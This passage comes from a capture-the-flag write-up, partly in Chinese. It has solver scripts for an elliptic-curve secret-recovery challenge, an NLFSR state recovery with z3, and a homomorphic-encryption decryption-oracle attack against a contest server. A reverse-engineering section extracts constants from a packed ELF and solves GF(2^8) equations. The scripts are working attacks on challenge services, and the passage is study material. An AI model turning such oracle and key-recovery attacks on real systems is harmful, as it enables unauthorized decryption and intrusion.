    if hashlib.sha256(''.join(comb) + chal).hexdigest() == h:
      return ''.join(comb)
  raise Exception("Not found...")

p.recvuntil("+")
chal = p.recvuntil(')',drop=True)
p.recvuntil(' == ')
h = p.recvline().strip()
```

```
work = proof_of_work(chal, h)
p.sendlineafter("XXXX:", work)

M = []
N = []
for i in xrange(len(points)):
  exchange(points[i][1][0], points[i][1][1], True if i == 0 else False)
  key = getkey()
  Qp = keyToPoint(key)
  Pp = points[i][1]
  for o in xrange(points[i][0]):
    Rp = mul(o, Pp)
    if Rp[0] == Qp[0] and Rp[1] == Qp[1]:
      M.append(points[i][0])
      N.append(o)
      break
  else:
    print 'Not found for order %d....' % points[i][0]
    break

secret, _ = crt(M, N)
print secret
backdoor(secret)

p.interactive()
```

NLFSR

```
#!/usr/bin/env python
# -*- coding: utf-8 -*-

import z3

data = open("./data", 'rb').read()

class LFSR(object):
  def __init__(self, init, mask):
    self.init = init
    self.mask = mask
    self.lmask = 0xffffff

  def next(self):
    nextdata = (self.init << 1) & self.lmask
    i = self.init & self.mask & self.lmask
    output = 0
    for j in xrange(self.lmask.bit_length()):
      output ^= z3.LShR(i, j) & 1
      #output ^= (i >> j) & 1
```

```
    self.init = nextdata ^ output
    return output & 1

def lfsr(r, m): return ((r << 1) & 0xffffff) ^ (bin(r & m).count('1') % 2)

s = z3.Solver()

a = z3.BitVec('a', 24)
b = z3.BitVec('b', 24)
c = z3.BitVec('c', 24)
d = z3.BitVec('d', 24)
'''
s.add(a <= pow(2, 19) - 1)
s.add(a >= pow(2, 18))
s.add(b <= pow(2, 19) - 1)
s.add(b >= pow(2, 18))
s.add(c <= pow(2, 13) - 1)
s.add(c >= pow(2, 12))
s.add(d <= pow(2, 6) - 1)
s.add(d >= pow(2, 5))
'''

ma, mb, mc, md = 0x505a1, 0x40f3f, 0x1f02, 0x31
la, lb, lc, ld = LFSR(a, ma), LFSR(b, mb), LFSR(c, mc), LFSR(d, md)

def combine():
  ao, bo, co, do = la.next(), lb.next(), lc.next(), ld.next()
  return (ao * bo) ^ (bo * co) ^ (bo * do) ^ co ^ do

def combine_lfsr():
    global a, b, c, d
    a = lfsr(a, ma)
    b = lfsr(b, mb)
    c = lfsr(c, mc)
    d = lfsr(d, md)
    [ao, bo, co, do] = [i & 1 for i in [a, b, c, d]]
    return (ao*bo) ^ (bo*co) ^ (bo*do) ^ co ^ do

for x in data[:56]:
  s.add(combine() == int(x))

print s.check()
m = s.model()
print m
```

Homomorphic

```
#!/usr/bin/env sage
```

```
import os
os.environ['TERM'] = 'screen'

from sage.stats.distributions.discrete_gaussian_integer import
DiscreteGaussianDistributionIntegerSampler
from pwn import *
import IPython, ast, string, itertools

q = 2^54
t = 2^8
d = 2^10
delta = int(q/t)

PR.<x> = PolynomialRing(ZZ)
DG = DiscreteGaussianDistributionIntegerSampler(sigma=1)
fx = x^d + 1
Q.<X> = PR.quotient(fx)

def sample(r):
    return Q([randint(0,r) for _ in range(d)])

def genError():
    return Q([DG() for _ in range(d)])

def Round(a,r):
    A = a.list()
    for i in range(len(A)):
        A[i] = (A[i]%r) - r if (A[i]%r) > r/2 else A[i]%r
    return Q(A)

def genKeys():
    s = sample(1)
    a = Round(sample(q-1),q)
    e = Round(genError(),q)
    pk = [Round(-(a*s+e),q),a]
    return s,pk

def encrypt(pk,m):
    u = sample(1)
    e1 = genError()
    e2 = genError()
    c1 = Round(pk[0]*u + e1 + delta*m,q)
    c2 = Round(pk[1]*u + e2,q)
    return (c1,c2)

def decrypt(s,c):
    c0 = Q([i for i in c[0]])
    c1 = Q([i for i in c[1]])
```

```
    data = (t * Round(c0 + c1*s,q)).list()
    for i in range(len(data)):
        data[i] = round(data[i]/q)
    data = Round(Q(data),t)
    return data

#p = remote('localhost', 8848)
p = remote('106.52.180.168', 8848)

def proof_of_work(chal, h):
  for comb in itertools.product(string.ascii_letters + string.digits,
repeat=4):
    if hashlib.sha256(''.join(comb) + chal).hexdigest() == h:
      return ''.join(comb)
  raise Exception("Not found...")

p.recvuntil("+")
chal = p.recvuntil(')',drop=True)
p.recvuntil(' == ')
h = p.recvline().strip()
work = proof_of_work(chal, h)
p.sendlineafter("XXXX:", work)

pk = []
p.recvuntil('pk0: ')
pk.append(Q(ast.literal_eval(p.recvline().strip())))
p.recvuntil('pk1: ')
pk.append(Q(ast.literal_eval(p.recvline().strip())))

flags = []
p.recvuntil('is: \n')
for i in xrange(44):
  ct = []
  for j in xrange(2):
    ct.append(Q(ast.literal_eval(p.recvline().strip())))
  flags.append(ct)

def decrypt(c,index):
  c0, c1 = c
  p.sendlineafter('choice:', 'Decrypt')
  p.sendlineafter('commas):', str(c0.list()).replace('[', '').replace(']',
'').replace(' ', ''))
  p.sendlineafter('commas):', str(c1.list()).replace('[', '').replace(']',
'').replace(' ', ''))
  p.sendlineafter('index:', str(index))
  p.recvuntil('is: \n')
  return ZZ(p.recvline().strip())

msg100 = encrypt(pk, 0x100)
```

```
f = ''
for i in xrange(len(f), 44):
  tm = (msg100[0] + flags[i][0], msg100[1] + flags[i][1])
  target = decrypt(tm, 0)
  f += chr(target)
  print f

p.interactive()
```

Re

小精灵/little elves

一个压了大小的elf，overlap了一些数据结构，ida开不了，但是可以动态调试

有很多的花指令

Flag长度0x2c

打个Trace看看

一个非常奇怪的计算。。。44bytesflag，44个方程

z3试一下

先提取数据

```
cmps = []
datas = []

ea = 0x888099
while (ea < 0x8896e1):
    ea = FindCode(ea, SEARCH_DOWN | SEARCH_NEXT)
    if (GetMnem(ea) == 'call'):
        print hex(ea)
        ea1 = ea
        cmp_addr = ea
        for i in xrange(3):
            cmp_addr = FindCode(cmp_addr, SEARCH_UP | SEARCH_NEXT)
        cmp_val = int(GetOpnd(cmp_addr, 1).strip('h'), 16)
        print hex(cmp_val)
        cmps.append(cmp_val)
        ea = int(GetOpnd(ea, 0)[-6:], 16)
        data_addr = ea1 + 0x5
        print hex(data_addr)
        data = []
        for i in xrange(44):
            data.append(Byte(data_addr + i))
        datas.append(data)
        #print hex(ea)
```

```
print cmps
print datas
```

z3解不了

```
cmps = [200, 201, 204, 116, 124, 94, 129, 127, 211, 85, 61, 154, 50, 51,
27, 28, 19, 134, 121, 70, 100, 219, 1, 132, 93, 252, 152, 87, 32, 171, 228,
156, 43, 98, 203, 2, 24, 63, 215, 186, 201, 128, 103, 52]
datas = [[166, 8, 116, 187, 48, 79, 49, 143, 88, 194, 27, 131, 58, 75, 251,
195, 192, 185, 69, 60, 84, 24, 124, 33, 211, 251, 140, 124, 161, 9, 44,
208, 20, 42, 8, 37, 59, 147, 79, 232, 57, 16, 12, 84], [73, 252, 81, 126,
50, 87, 184, 130, 196, 114, 29, 107, 153, 91, 63, 217, 31, 191, 74, 176,
208, 252, 97, 253, 55, 231, 82, 169, 185, 236, 171, 86, 208, 154, 192, 109,
255, 62, 35, 140, 91, 49, 139, 255], [57, 18, 43, 102, 96, 26, 50, 187,
129, 161, 7, 55, 11, 29, 151, 219, 203, 139, 56, 12, 176, 160, 250, 237, 1,
238, 239, 211, 241, 254, 18, 13, 75, 47, 215, 168, 149, 154, 33, 222, 77,
138, 240, 42], [96, 198, 230, 11, 49, 62, 42, 10, 169, 77, 7, 164, 198,
241, 131, 157, 75, 147, 201, 103, 120, 133, 161, 14, 214, 157, 28, 220,
165, 232, 20, 132, 16, 79, 9, 1, 33, 194, 192, 55, 109, 166, 101, 110],
[108, 159, 167, 183, 165, 180, 74, 194, 149, 63, 211, 153, 174, 97, 102,
123, 157, 142, 47, 30, 185, 209, 57, 108, 170, 161, 126, 248, 206, 238,
140, 105, 192, 231, 237, 36, 46, 185, 123, 161, 97, 192, 168, 129], [72,
18, 132, 37, 37, 42, 224, 99, 92, 159, 95, 27, 18, 172, 43, 251, 97, 44,
238, 106, 42, 86, 124, 1, 231, 63, 99, 147, 239, 180, 217, 195, 203, 106,
21, 4, 238, 229, 43, 232, 193, 31, 116, 213], [17, 133, 116, 7, 57, 79, 20,
19, 197, 146, 5, 40, 103, 56, 135, 185, 168, 73, 3, 113, 118, 102, 210, 99,
29, 12, 34, 249, 237, 132, 57, 71, 44, 41, 1, 65, 136, 112, 20, 142, 162,
232, 225, 15], [224, 192, 5, 102, 220, 42, 18, 221, 124, 173, 85, 87, 112,
175, 157, 72, 160, 207, 229, 35, 136, 157, 229, 10, 96, 186, 112, 156, 69,
195, 89, 86, 238, 167, 169, 154, 137, 47, 205, 238, 22, 49, 177, 83], [234,
233, 189, 191, 209, 106, 254, 220, 45, 12, 242, 132, 93, 12, 226, 51, 209,
114, 131, 4, 51, 119, 117, 247, 19, 219, 231, 136, 251, 143, 203, 145, 203,
212, 71, 210, 12, 255, 43, 189, 148, 233, 199, 224], [5, 62, 126, 209, 242,
136, 95, 189, 79, 203, 244, 196, 2, 251, 150, 35, 182, 115, 205, 78, 215,
183, 88, 246, 208, 211, 161, 35, 39, 198, 171, 152, 231, 57, 44, 91, 81,
58, 163, 230, 179, 149, 114, 105], [72, 169, 107, 116, 56, 205, 187, 117,
2, 157, 39, 28, 149, 94, 127, 255, 60, 45, 59, 254, 30, 144, 182, 156, 159,
26, 39, 44, 129, 34, 111, 174, 176, 230, 253, 24, 139, 178, 200, 87, 44,
71, 67, 67], [5, 98, 151, 83, 43, 8, 109, 58, 204, 250, 125, 152, 246, 203,
135, 195, 8, 164, 195, 69, 148, 14, 71, 94, 81, 37, 187, 64, 48, 50, 230,
165, 20, 167, 254, 153, 249, 73, 201, 40, 106, 3, 93, 178], [104, 212, 183,
194, 181, 196, 225, 130, 208, 159, 255, 32, 91, 59, 170, 44, 71, 34, 99,
157, 194, 182, 86, 167, 148, 206, 237, 196, 250, 113, 22, 244, 100, 185,
47, 250, 33, 253, 204, 44, 191, 50, 146, 181], [143, 5, 236, 210, 136, 80,
252, 104, 156, 100, 209, 109, 103, 134, 125, 138, 115, 215, 108, 155, 191,
160, 228, 183, 21, 157, 225, 61, 89, 198, 250, 57, 189, 89, 205, 152, 184,
86, 207, 72, 65, 20, 209, 155], [103, 51, 118, 167, 111, 152, 184, 97, 213,
```

190, 175, 93, 237, 141, 92, 30, 82, 136, 16, 212, 99, 21, 105, 166, 161, 214, 103, 21, 116, 161, 148, 132, 95, 54, 60, 161, 207, 183, 250, 45, 156, 81, 208, 15], [150, 65, 4, 37, 202, 4, 54, 106, 113, 55, 51, 181, 225, 120, 173, 61, 251, 42, 153, 149, 88, 160, 79, 197, 204, 20, 65, 79, 165, 85, 203, 193, 203, 97, 9, 142, 53, 50, 127, 193, 225, 11, 121, 148], [99, 27, 20, 52, 248, 197, 117, 210, 216, 249, 122, 48, 225, 117, 211, 2, 33, 172, 60, 140, 84, 44, 71, 187, 160, 198, 26, 100, 162, 92, 89, 181, 82, 55, 184, 152, 112, 51, 248, 255, 205, 145, 31, 137], [209, 78, 219, 94, 189, 146, 92, 172, 214, 106, 122, 121, 90, 60, 174, 6, 82, 28, 166, 206, 248, 86, 28, 113, 159, 183, 196, 12, 183, 146, 225, 107, 169, 128, 67, 221, 228, 244, 212, 66, 118, 136, 162, 218], [163, 143, 112, 123, 98, 87, 0, 143, 198, 176, 196, 246, 231, 201, 157, 169, 244, 123, 106, 210, 50, 159, 47, 55, 28, 203, 235, 91, 74, 16, 175, 125, 53, 54, 82, 2, 112, 159, 122, 251, 118, 138, 120, 184], [187, 81, 128, 55, 221, 223, 44, 37, 166, 168, 32, 169, 22, 255, 169, 251, 101, 158, 161, 153, 89, 1, 244, 87, 246, 237, 157, 232, 180, 3, 248, 23, 58, 162, 144, 159, 173, 28, 117, 196, 186, 225, 81, 83], [169, 45, 229, 173, 17, 248, 83, 201, 242, 38, 116, 201, 12, 87, 3, 231, 200, 143, 166, 63, 146, 86, 240, 197, 26, 198, 21, 34, 202, 192, 26, 188, 203, 3, 13, 238, 109, 179, 214, 146, 193, 255, 226, 189], [16, 63, 38, 178, 184, 25, 51, 81, 142, 189, 2, 37, 163, 244, 157, 193, 149, 21, 6, 215, 185, 13, 205, 56, 158, 45, 48, 243, 98, 248, 129, 223, 68, 111, 88, 62, 119, 28, 255, 243, 132, 238, 149, 75], [185, 141, 49, 173, 86, 9, 150, 99, 183, 114, 226, 133, 170, 2, 65, 124, 2, 164, 2, 155, 153, 89, 109, 220, 138, 127, 150, 213, 114, 6, 151, 227, 248, 172, 28, 0, 92, 63, 41, 229, 214, 120, 49, 164], [242, 48, 147, 252, 204, 89, 111, 168, 251, 136, 160, 106, 5, 155, 137, 198, 250, 250, 57, 180, 252, 118, 165, 21, 254, 155, 154, 247, 242, 217, 131, 65, 35, 207, 112, 77, 209, 176, 122, 192, 147, 107, 80, 37], [52, 183, 251, 29, 226, 175, 39, 75, 34, 254, 233, 96, 155, 144, 9, 254, 189, 41, 169, 184, 91, 97, 87, 88, 251, 138, 114, 118, 91, 156, 198, 75, 222, 19, 183, 52, 81, 194, 144, 13, 249, 111, 3, 73], [21, 107, 222, 106, 222, 98, 190, 4, 244, 225, 112, 133, 120, 253, 141, 48, 52, 154, 63, 235, 190, 78, 33, 209, 4, 172, 158, 187, 219, 151, 17, 233, 214, 32, 120, 38, 26, 0, 250, 129, 251, 40, 89, 39], [25, 66, 117, 107, 200, 80, 88, 90, 24, 176, 247, 95, 59, 121, 118, 67, 56, 133, 145, 167, 24, 46, 180, 145, 128, 220, 200, 29, 172, 157, 100, 9, 97, 253, 8, 200, 52, 229, 147, 218, 254, 255, 182, 170], [172, 79, 214, 26, 85, 230, 228, 223, 32, 227, 84, 74, 109, 209, 222, 45, 48, 66, 23, 197, 52, 212, 179, 184, 90, 149, 199, 128, 153, 70, 3, 73, 160, 39, 49, 165, 88, 252, 135, 9, 157, 140, 32, 33], [72, 233, 196, 173, 35, 166, 146, 186, 61, 86, 64, 42, 25, 86, 66, 93, 12, 255, 63, 83, 95, 219, 108, 152, 205, 31, 238, 77, 74, 156, 149, 228, 68, 244, 178, 78, 181, 173, 251, 248, 185, 99, 181, 205], [106, 86, 224, 51, 91, 194, 158, 83, 144, 77, 217, 95, 125, 119, 144, 47, 85, 220, 24, 40, 59, 77, 70, 190, 188, 20, 105, 150, 79, 85, 194, 168, 64, 215, 234, 226, 4, 99, 157, 0, 186, 74, 18, 94], [36, 23, 51, 78, 191, 254, 1, 166, 174, 62, 222, 243, 131, 207, 37, 4, 199, 35, 169, 7, 216, 42, 190, 241, 120, 11, 166, 129, 117, 93, 184, 50, 237, 84, 122, 67, 250, 248, 60, 96, 117, 91, 187, 79], [248, 17, 173, 127, 98, 184, 11, 20, 50, 140, 249, 248, 24, 222, 34, 86, 71, 0, 237, 138, 148, 107, 115, 104, 62, 191, 39, 221, 123, 115, 131, 229, 127, 56, 64, 177, 106, 239, 26, 255, 100, 88, 1, 75], [144, 18, 85, 103, 3, 31, 157, 44,

```
67, 24, 228, 226, 82, 208, 69, 17, 189, 216, 205, 140, 6, 1, 33, 11, 61,
223, 12, 116, 123, 167, 151, 58, 167, 79, 96, 189, 151, 233, 92, 94, 22,
60, 254, 254], [216, 167, 82, 244, 143, 231, 192, 63, 79, 49, 131, 176,
212, 46, 141, 107, 125, 207, 201, 5, 103, 155, 107, 166, 210, 49, 182, 60,
34, 26, 220, 198, 225, 160, 57, 52, 138, 27, 247, 181, 0, 67, 1, 205], [19,
243, 215, 203, 156, 157, 71, 187, 142, 198, 244, 52, 100, 195, 129, 134,
38, 227, 155, 241, 122, 192, 145, 179, 195, 16, 180, 70, 86, 219, 250, 67,
127, 47, 178, 249, 19, 36, 183, 50, 154, 186, 239, 15], [163, 224, 95, 10,
171, 106, 49, 57, 28, 178, 119, 6, 40, 228, 92, 163, 93, 225, 23, 37, 24,
211, 72, 105, 209, 70, 0, 165, 70, 226, 43, 187, 167, 60, 143, 233, 207,
209, 12, 207, 64, 246, 222, 16], [245, 140, 237, 250, 89, 99, 215, 112, 85,
182, 51, 26, 62, 220, 116, 17, 196, 247, 172, 121, 22, 106, 91, 200, 115,
240, 31, 78, 47, 126, 50, 114, 109, 88, 83, 120, 17, 95, 198, 206, 71, 112,
172, 49], [254, 198, 189, 175, 121, 123, 248, 38, 163, 170, 91, 171, 125,
66, 94, 37, 181, 207, 13, 60, 210, 178, 252, 39, 175, 18, 106, 94, 171,
196, 182, 129, 101, 165, 103, 164, 234, 110, 146, 69, 36, 75, 58, 98],
[184, 162, 160, 24, 71, 214, 24, 14, 196, 222, 67, 178, 163, 150, 206, 104,
38, 176, 245, 98, 180, 213, 93, 134, 25, 198, 166, 10, 183, 99, 207, 127,
163, 10, 141, 105, 52, 68, 18, 121, 217, 209, 124, 127], [142, 153, 245,
130, 182, 55, 211, 250, 217, 10, 172, 119, 212, 171, 244, 99, 99, 41, 223,
221, 128, 66, 31, 129, 195, 145, 241, 50, 77, 139, 29, 232, 60, 167, 110,
139, 124, 135, 18, 197, 200, 85, 15, 159], [225, 159, 86, 55, 158, 137,
229, 250, 129, 194, 200, 31, 147, 30, 219, 233, 147, 28, 6, 219, 81, 172,
132, 162, 212, 115, 232, 60, 152, 105, 146, 77, 187, 9, 20, 191, 157, 96,
131, 190, 125, 175, 141, 4], [110, 75, 232, 58, 102, 13, 222, 137, 137, 14,
191, 155, 48, 100, 169, 184, 49, 249, 49, 39, 138, 124, 63, 73, 237, 150,
244, 126, 127, 206, 91, 252, 110, 45, 189, 116, 188, 42, 18, 68, 194, 244,
53, 2], [109, 116, 87, 241, 128, 121, 227, 188, 2, 6, 81, 194, 4, 225, 176,
48, 8, 59, 243, 50, 234, 228, 192, 176, 168, 187, 248, 244, 27, 188, 107,
204, 222, 202, 73, 141, 160, 139, 151, 206, 1, 227, 152, 81], [13, 149, 85,
158, 164, 119, 149, 36, 138, 84, 173, 132, 39, 230, 96, 229, 84, 218, 14,
153, 184, 98, 160, 129, 2, 161, 99, 41, 17, 114, 55, 67, 192, 102, 241,
168, 149, 191, 216, 18, 229, 153, 94, 171]]

print len(cmps)
print len(datas)

from z3 import *

s = Solver()

flag = [(BitVec('flag[%d]', 8) % i) for i in range(44)]

for xx in xrange(44):
    bl = 0
    for i in xrange(44):
        cl = flag[i]
        dl = datas[xx][i]
        for j in xrange(8):
```

```
            if (dl & 1):
                bl ^= cl
            if (cl & 0x80):
                cl = (cl << 1) & 0xff
                cl ^= 0x39
            else:
                cl = (cl << 1)
            dl >>= 1
    s.add(bl == cmps[xx])

s.check()
print s.model()
```

是有限域的多项式乘法

```
cmps = [200, 201, 204, 116, 124, 94, 129, 127, 211, 85, 61, 154, 50, 51,
27, 28, 19, 134, 121, 70, 100, 219, 1, 132, 93, 252, 152, 87, 32, 171, 228,
156, 43, 98, 203, 2, 24, 63, 215, 186, 201, 128, 103, 52]
datas = [[166, 8, 116, 187, 48, 79, 49, 143, 88, 194, 27, 131, 58, 75, 251,
195, 192, 185, 69, 60, 84, 24, 124, 33, 211, 251, 140, 124, 161, 9, 44,
208, 20, 42, 8, 37, 59, 147, 79, 232, 57, 16, 12, 84], [73, 252, 81, 126,
50, 87, 184, 130, 196, 114, 29, 107, 153, 91, 63, 217, 31, 191, 74, 176,
208, 252, 97, 253, 55, 231, 82, 169, 185, 236, 171, 86, 208, 154, 192, 109,
255, 62, 35, 140, 91, 49, 139, 255], [57, 18, 43, 102, 96, 26, 50, 187,
129, 161, 7, 55, 11, 29, 151, 219, 203, 139, 56, 12, 176, 160, 250, 237, 1,
238, 239, 211, 241, 254, 18, 13, 75, 47, 215, 168, 149, 154, 33, 222, 77,
138, 240, 42], [96, 198, 230, 11, 49, 62, 42, 10, 169, 77, 7, 164, 198,
241, 131, 157, 75, 147, 201, 103, 120, 133, 161, 14, 214, 157, 28, 220,
165, 232, 20, 132, 16, 79, 9, 1, 33, 194, 192, 55, 109, 166, 101, 110],
[108, 159, 167, 183, 165, 180, 74, 194, 149, 63, 211, 153, 174, 97, 102,
123, 157, 142, 47, 30, 185, 209, 57, 108, 170, 161, 126, 248, 206, 238,
140, 105, 192, 231, 237, 36, 46, 185, 123, 161, 97, 192, 168, 129], [72,
18, 132, 37, 37, 42, 224, 99, 92, 159, 95, 27, 18, 172, 43, 251, 97, 44,
238, 106, 42, 86, 124, 1, 231, 63, 99, 147, 239, 180, 217, 195, 203, 106,
21, 4, 238, 229, 43, 232, 193, 31, 116, 213], [17, 133, 116, 7, 57, 79, 20,
19, 197, 146, 5, 40, 103, 56, 135, 185, 168, 73, 3, 113, 118, 102, 210, 99,
29, 12, 34, 249, 237, 132, 57, 71, 44, 41, 1, 65, 136, 112, 20, 142, 162,
232, 225, 15], [224, 192, 5, 102, 220, 42, 18, 221, 124, 173, 85, 87, 112,
175, 157, 72, 160, 207, 229, 35, 136, 157, 229, 10, 96, 186, 112, 156, 69,
195, 89, 86, 238, 167, 169, 154, 137, 47, 205, 238, 22, 49, 177, 83], [234,
233, 189, 191, 209, 106, 254, 220, 45, 12, 242, 132, 93, 12, 226, 51, 209,
114, 131, 4, 51, 119, 117, 247, 19, 219, 231, 136, 251, 143, 203, 145, 203,
212, 71, 210, 12, 255, 43, 189, 148, 233, 199, 224], [5, 62, 126, 209, 242,
136, 95, 189, 79, 203, 244, 196, 2, 251, 150, 35, 182, 115, 205, 78, 215,
183, 88, 246, 208, 211, 161, 35, 39, 198, 171, 152, 231, 57, 44, 91, 81,
58, 163, 230, 179, 149, 114, 105], [72, 169, 107, 116, 56, 205, 187, 117,
2, 157, 39, 28, 149, 94, 127, 255, 60, 45, 59, 254, 30, 144, 182, 156, 159,
26, 39, 44, 129, 34, 111, 174, 176, 230, 253, 24, 139, 178, 200, 87, 44,
```

71, 67, 67], [5, 98, 151, 83, 43, 8, 109, 58, 204, 250, 125, 152, 246, 203, 135, 195, 8, 164, 195, 69, 148, 14, 71, 94, 81, 37, 187, 64, 48, 50, 230, 165, 20, 167, 254, 153, 249, 73, 201, 40, 106, 3, 93, 178], [104, 212, 183, 194, 181, 196, 225, 130, 208, 159, 255, 32, 91, 59, 170, 44, 71, 34, 99, 157, 194, 182, 86, 167, 148, 206, 237, 196, 250, 113, 22, 244, 100, 185, 47, 250, 33, 253, 204, 44, 191, 50, 146, 181], [143, 5, 236, 210, 136, 80, 252, 104, 156, 100, 209, 109, 103, 134, 125, 138, 115, 215, 108, 155, 191, 160, 228, 183, 21, 157, 225, 61, 89, 198, 250, 57, 189, 89, 205, 152, 184, 86, 207, 72, 65, 20, 209, 155], [103, 51, 118, 167, 111, 152, 184, 97, 213, 190, 175, 93, 237, 141, 92, 30, 82, 136, 16, 212, 99, 21, 105, 166, 161, 214, 103, 21, 116, 161, 148, 132, 95, 54, 60, 161, 207, 183, 250, 45, 156, 81, 208, 15], [150, 65, 4, 37, 202, 4, 54, 106, 113, 55, 51, 181, 225, 120, 173, 61, 251, 42, 153, 149, 88, 160, 79, 197, 204, 20, 65, 79, 165, 85, 203, 193, 203, 97, 9, 142, 53, 50, 127, 193, 225, 11, 121, 148], [99, 27, 20, 52, 248, 197, 117, 210, 216, 249, 122, 48, 225, 117, 211, 2, 33, 172, 60, 140, 84, 44, 71, 187, 160, 198, 26, 100, 162, 92, 89, 181, 82, 55, 184, 152, 112, 51, 248, 255, 205, 145, 31, 137], [209, 78, 219, 94, 189, 146, 92, 172, 214, 106, 122, 121, 90, 60, 174, 6, 82, 28, 166, 206, 248, 86, 28, 113, 159, 183, 196, 12, 183, 146, 225, 107, 169, 128, 67, 221, 228, 244, 212, 66, 118, 136, 162, 218], [163, 143, 112, 123, 98, 87, 0, 143, 198, 176, 196, 246, 231, 201, 157, 169, 244, 123, 106, 210, 50, 159, 47, 55, 28, 203, 235, 91, 74, 16, 175, 125, 53, 54, 82, 2, 112, 159, 122, 251, 118, 138, 120, 184], [187, 81, 128, 55, 221, 223, 44, 37, 166, 168, 32, 169, 22, 255, 169, 251, 101, 158, 161, 153, 89, 1, 244, 87, 246, 237, 157, 232, 180, 3, 248, 23, 58, 162, 144, 159, 173, 28, 117, 196, 186, 225, 81, 83], [169, 45, 229, 173, 17, 248, 83, 201, 242, 38, 116, 201, 12, 87, 3, 231, 200, 143, 166, 63, 146, 86, 240, 197, 26, 198, 21, 34, 202, 192, 26, 188, 203, 3, 13, 238, 109, 179, 214, 146, 193, 255, 226, 189], [16, 63, 38, 178, 184, 25, 51, 81, 142, 189, 2, 37, 163, 244, 157, 193, 149, 21, 6, 215, 185, 13, 205, 56, 158, 45, 48, 243, 98, 248, 129, 223, 68, 111, 88, 62, 119, 28, 255, 243, 132, 238, 149, 75], [185, 141, 49, 173, 86, 9, 150, 99, 183, 114, 226, 133, 170, 2, 65, 124, 2, 164, 2, 155, 153, 89, 109, 220, 138, 127, 150, 213, 114, 6, 151, 227, 248, 172, 28, 0, 92, 63, 41, 229, 214, 120, 49, 164], [242, 48, 147, 252, 204, 89, 111, 168, 251, 136, 160, 106, 5, 155, 137, 198, 250, 250, 57, 180, 252, 118, 165, 21, 254, 155, 154, 247, 242, 217, 131, 65, 35, 207, 112, 77, 209, 176, 122, 192, 147, 107, 80, 37], [52, 183, 251, 29, 226, 175, 39, 75, 34, 254, 233, 96, 155, 144, 9, 254, 189, 41, 169, 184, 91, 97, 87, 88, 251, 138, 114, 118, 91, 156, 198, 75, 222, 19, 183, 52, 81, 194, 144, 13, 249, 111, 3, 73], [21, 107, 222, 106, 222, 98, 190, 4, 244, 225, 112, 133, 120, 253, 141, 48, 52, 154, 63, 235, 190, 78, 33, 209, 4, 172, 158, 187, 219, 151, 17, 233, 214, 32, 120, 38, 26, 0, 250, 129, 251, 40, 89, 39], [25, 66, 117, 107, 200, 80, 88, 90, 24, 176, 247, 95, 59, 121, 118, 67, 56, 133, 145, 167, 24, 46, 180, 145, 128, 220, 200, 29, 172, 157, 100, 9, 97, 253, 8, 200, 52, 229, 147, 218, 254, 255, 182, 170], [172, 79, 214, 26, 85, 230, 228, 223, 32, 227, 84, 74, 109, 209, 222, 45, 48, 66, 23, 197, 52, 212, 179, 184, 90, 149, 199, 128, 153, 70, 3, 73, 160, 39, 49, 165, 88, 252, 135, 9, 157, 140, 32, 33], [72, 233, 196, 173, 35, 166, 146, 186, 61, 86, 64, 42, 25, 86, 66, 93, 12, 255, 63, 83, 95, 219, 108, 152, 205, 31, 238, 77, 74, 156, 149, 228, 68, 244, 178, 78,

```
181, 173, 251, 248, 185, 99, 181, 205], [106, 86, 224, 51, 91, 194, 158,
83, 144, 77, 217, 95, 125, 119, 144, 47, 85, 220, 24, 40, 59, 77, 70, 190,
188, 20, 105, 150, 79, 85, 194, 168, 64, 215, 234, 226, 4, 99, 157, 0, 186,
74, 18, 94], [36, 23, 51, 78, 191, 254, 1, 166, 174, 62, 222, 243, 131,
207, 37, 4, 199, 35, 169, 7, 216, 42, 190, 241, 120, 11, 166, 129, 117, 93,
184, 50, 237, 84, 122, 67, 250, 248, 60, 96, 117, 91, 187, 79], [248, 17,
173, 127, 98, 184, 11, 20, 50, 140, 249, 248, 24, 222, 34, 86, 71, 0, 237,
138, 148, 107, 115, 104, 62, 191, 39, 221, 123, 115, 131, 229, 127, 56, 64,
177, 106, 239, 26, 255, 100, 88, 1, 75], [144, 18, 85, 103, 3, 31, 157, 44,
67, 24, 228, 226, 82, 208, 69, 17, 189, 216, 205, 140, 6, 1, 33, 11, 61,
223, 12, 116, 123, 167, 151, 58, 167, 79, 96, 189, 151, 233, 92, 94, 22,
60, 254, 254], [216, 167, 82, 244, 143, 231, 192, 63, 79, 49, 131, 176,
212, 46, 141, 107, 125, 207, 201, 5, 103, 155, 107, 166, 210, 49, 182, 60,
34, 26, 220, 198, 225, 160, 57, 52, 138, 27, 247, 181, 0, 67, 1, 205], [19,
243, 215, 203, 156, 157, 71, 187, 142, 198, 244, 52, 100, 195, 129, 134,
38, 227, 155, 241, 122, 192, 145, 179, 195, 16, 180, 70, 86, 219, 250, 67,
127, 47, 178, 249, 19, 36, 183, 50, 154, 186, 239, 15], [163, 224, 95, 10,
171, 106, 49, 57, 28, 178, 119, 6, 40, 228, 92, 163, 93, 225, 23, 37, 24,
211, 72, 105, 209, 70, 0, 165, 70, 226, 43, 187, 167, 60, 143, 233, 207,
209, 12, 207, 64, 246, 222, 16], [245, 140, 237, 250, 89, 99, 215, 112, 85,
182, 51, 26, 62, 220, 116, 17, 196, 247, 172, 121, 22, 106, 91, 200, 115,
240, 31, 78, 47, 126, 50, 114, 109, 88, 83, 120, 17, 95, 198, 206, 71, 112,
172, 49], [254, 198, 189, 175, 121, 123, 248, 38, 163, 170, 91, 171, 125,
66, 94, 37, 181, 207, 13, 60, 210, 178, 252, 39, 175, 18, 106, 94, 171,
196, 182, 129, 101, 165, 103, 164, 234, 110, 146, 69, 36, 75, 58, 98],
[184, 162, 160, 24, 71, 214, 24, 14, 196, 222, 67, 178, 163, 150, 206, 104,
38, 176, 245, 98, 180, 213, 93, 134, 25, 198, 166, 10, 183, 99, 207, 127,
163, 10, 141, 105, 52, 68, 18, 121, 217, 209, 124, 127], [142, 153, 245,
130, 182, 55, 211, 250, 217, 10, 172, 119, 212, 171, 244, 99, 99, 41, 223,
221, 128, 66, 31, 129, 195, 145, 241, 50, 77, 139, 29, 232, 60, 167, 110,
139, 124, 135, 18, 197, 200, 85, 15, 159], [225, 159, 86, 55, 158, 137,
229, 250, 129, 194, 200, 31, 147, 30, 219, 233, 147, 28, 6, 219, 81, 172,
132, 162, 212, 115, 232, 60, 152, 105, 146, 77, 187, 9, 20, 191, 157, 96,
131, 190, 125, 175, 141, 4], [110, 75, 232, 58, 102, 13, 222, 137, 137, 14,
191, 155, 48, 100, 169, 184, 49, 249, 49, 39, 138, 124, 63, 73, 237, 150,
244, 126, 127, 206, 91, 252, 110, 45, 189, 116, 188, 42, 18, 68, 194, 244,
